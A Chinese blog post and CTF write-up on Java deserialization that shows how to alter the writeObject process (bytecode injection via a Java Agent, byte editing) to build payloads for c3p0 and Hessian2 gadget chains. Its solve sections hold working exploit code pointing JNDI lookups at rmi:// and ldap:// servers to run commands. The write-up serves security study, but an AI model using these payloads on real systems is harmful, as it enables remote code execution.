对writeObject流程动点手脚

2022-09-20

字数统计: 2.2k字 | 阅读时长≈ 10分

暂无简介

前言

以前做一些 Java 反序列化的题目时，我个人觉得侧重点在于readObject之后发生的事情：我们设法寻找可用的gadget并拼接，最后用一行xxx.writeObject()仅用来帮我们得到恶意数据。

最近学习过程中做了几个非常有意思的题目，总结一下其中共同的思想就是对writeObject的流程下手，通过这部分流程中代码的一些问题来实现漏洞利用。

如何控制恶意数据

从代码逻辑入手

其实就是修改writeObject流程中的源代码，视情况有以下这些办法：

直接ctrl+a复制用到的类新建为一个类并修改相关操作

如Hessian2Output我们修改的流程刚好在writeObject所在 Java 文件中

下载对应版本源代码进行修改后重新编译成 Jar 包，这种办法在编译的时候可能要导入许多依赖，还要注意编译和运行的 Java 版本
利用 Java Agent 技术，用法可以学习：https://www.cnblogs.com/nice0e3/p/14086165.html，
然后利用 javassist 修改字节码

我们用动态 attach 注入方法，写好agentmain后将其打包成 Jar 文件

记得修改文件中 MANIFEST.MF 文件

从字节数组入手

从序列化数据入手

这里先学习了一下SerializationDumper，（https://www.freebuf.com/vuls/176672.html）
我们来看一下未修改前生成的数据：

我因我们想实现的是如下代码的效果：

java.util.Properties properties = new java.util.Properties();
javax.naming.CompoundName compoundName = new javax.naming.CompoundName("rmi://127.0.0.1:6666/calc", properties); 
this.contextName = compoundName;

所以说contextName肯定是个对象，那就要按照这样的格式去写

模仿已有的对象数据就行，然后知道这些知识点：

最终就有上面的序列化数据（什么？你问我是不是自己写的，肯定...不是）

然后就定位要插入的位置，将0x70直接替换

这个只是粗略的尝试了一下就成功了，修改序列化的数据应该是更麻烦（还要考虑偏移量等问题），之后还是要更深入学习下 JRE8u20 的构造及相关工具才行。

CTF 题目

Dest0g3 ljcrt

题目分析

有一个反序列化入口并且过滤了ldap字符串

还通过 Java Agent 技术过滤了一些东西

过滤了高版本 JNDI 的 EL 表达式绕过，题目存在 c3p0 依赖，但又要求 reference 不能有值，也过滤了一些链

JNDI

在跟 c3p0 的 http base 链时，可以注意到在PoolBackedDataSourceBase类的writeObject方法中有如下内容：

尝试将当前对象的connectionPoolDataSource属性进行序列化，如果不能序列化便会在catch中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作：

这个类是不能反序列化的，所以会进入catch模块：

我们可以控制 var2，但是 this.contextName 默认是 null 的

然后看PoolBackedDataSourceBase类的readObject方法：

跟进getObject方法：

当 this.contextName 不为空，才能触发 JNDI，所以我们可以想办法在indirectFrom函数里插入些代码。

solve

先运行这个：

package c3p0;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.naming.ReferenceIndirector;
import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class main {
public static void main(String[] args) throws Exception{
Thread.sleep(5000);//sleep一会
PoolBackedDataSource a = new PoolBackedDataSource();
a.setConnectionPoolDataSource(new PoolSource());
writeFile("1.txt",serialize(a));
//deserialize(FiletoBytes("1.txt"));
}
private static final class PoolSource extends ReferenceIndirector implements ConnectionPoolDataSource, Referenceable {
public PoolSource () {
}
public Reference getReference () throws NamingException {
return null;
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
private static void writeFile(String filePath, byte[] content) throws Exception {
FileOutputStream outputStream = new FileOutputStream(filePath);
outputStream.write( content );
outputStream.close();
}
public static byte[] FiletoBytes(String filename) throws Exception{
String buf = null;
File file = new File(filename);
FileInputStream fis = null;
fis = new FileInputStream(file);
int size = fis.available();
byte[] bytes = new byte[size];
fis.read(bytes);
return bytes;
}
}

再运行动态注入的代码：

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.*;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.util.List;
public class AgentDemo {
public static void main(String[] args) throws Throwable{
Class.forName("sun.tools.attach.HotSpotAttachProvider");
List<VirtualMachineDescriptor> vms = VirtualMachine.list();
String targetPid = null;
for (int i = 0; i < vms.size(); i++) {
VirtualMachineDescriptor vm = vms.get(i);
if (vm.displayName().contains("main")) {
System.out.println(vm.displayName());
targetPid = vm.id();
System.out.println(targetPid);
}
}
VirtualMachine virtualMachine = VirtualMachine.attach(targetPid);
virtualMachine.loadAgent("out\\agent.jar",null);
virtualMachine.detach();
}
public static void agentmain(String agentOps, Instrumentation inst) throws Exception {
for (Class allLoadedClass : inst.getAllLoadedClasses()) {
if (allLoadedClass.getName().contains("c3p0.main")) {
Class<?> elProcessorClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector");
ClassPool classPool = new ClassPool(true);
classPool.insertClassPath(new ClassClassPath(elProcessorClass));
classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader()));
CtClass ctClass = classPool.get(elProcessorClass.getName());
CtMethod ctMethod = ctClass.getMethod("indirectForm","(Ljava/lang/Object;)Lcom/mchange/v2/ser/IndirectlySerialized;");
ctMethod.insertBefore(String.format("java.util.Properties properties = new java.util.Properties();\n" +
"javax.naming.CompoundName compoundName = new javax.naming.CompoundName(\"rmi://127.0.0.1:6666/calc\",properties);" +
"this.contextName=compoundName;",AgentDemo.class.getName()));
inst.redefineClasses(new ClassDefinition(elProcessorClass,ctClass.toBytecode()));
ctClass.detach();
}
}
}
}

可以看到最终结果 contextName 的值：

接下来因为还有 yaml 依赖，所以打的就是 yaml 的绕过

网鼎杯 hessian2

题目分析

还给了一个MyBean类（以及为了实现它的toString方法的两个其他类，不再多提）

熟悉 Rome 反序列化的就知道可以任意调用 getter 方法

所以思路就是找 hessian 触发 toString 的链子

可见：https://paper.seebug.org/1814/#hessian2input

hessian2toString

跟进 read() 函数

先进入 readBuffer() 后返回 this._buffer[this._offset++] & 255（其实就是 this._buffer[0] & 255）

如果我们能控制 tag 为 67

public String readString() throws IOException {
int tag = this.read();
int ch;
switch(tag) {
case 0:
case 1:
case 2:
case 3:
...
case 31:
this._isLastChunk = true;
this._chunkLength = tag - 0;
this._sbuf.setLength(0);
while((ch = this.parseChar()) >= 0) {
this._sbuf.append((char)ch);
}
return this._sbuf.toString();
case 32:
case 33:
...
case 67:
...
case 127:
default:
throw this.expect("string", tag);
case 48:
case 49:
case 50:
...
case 253:
case 254:
case 255:
return String.valueOf((tag - 248 << 8) + this.read());
}
}

那么根据上次的 read 函数，这里返回的就是 this._buffer[1] 了，如果能控制返回的是 32-127 就能进入 expect 函数，我们还控制为 67（后面会解释）

protected IOException expect(String expect, int ch) throws IOException {
if (ch < 0) {
return this.error("expected " + expect + " at end of file");
} else {
--this._offset;
try {
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
} catch (IOException var4) {
log.log(Level.FINE, var4.toString(), var4);
return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));
}
}
}

最终触发 toString

getConnection2JNDI

跟进方法

到 PoolBase

最终达到 JNDI

solve

import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.ctf.badbean.bean.MyBean;
import java.io.*;
import java.util.Base64;
public class payload {
public static void main(String[] args) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HikariDataSource ds = new HikariDataSource();
ds.setDataSourceJNDI("ldap://url:port/Basic/Command/calc");
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
Object o = new MyBean("", "", ds, HikariDataSource.class);
out.writeString("aaa");
out.writeObject(o);
out.flushBuffer();
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream((byteArrayOutputStream.toByteArray())));
hessian2Input.readObject();
}
}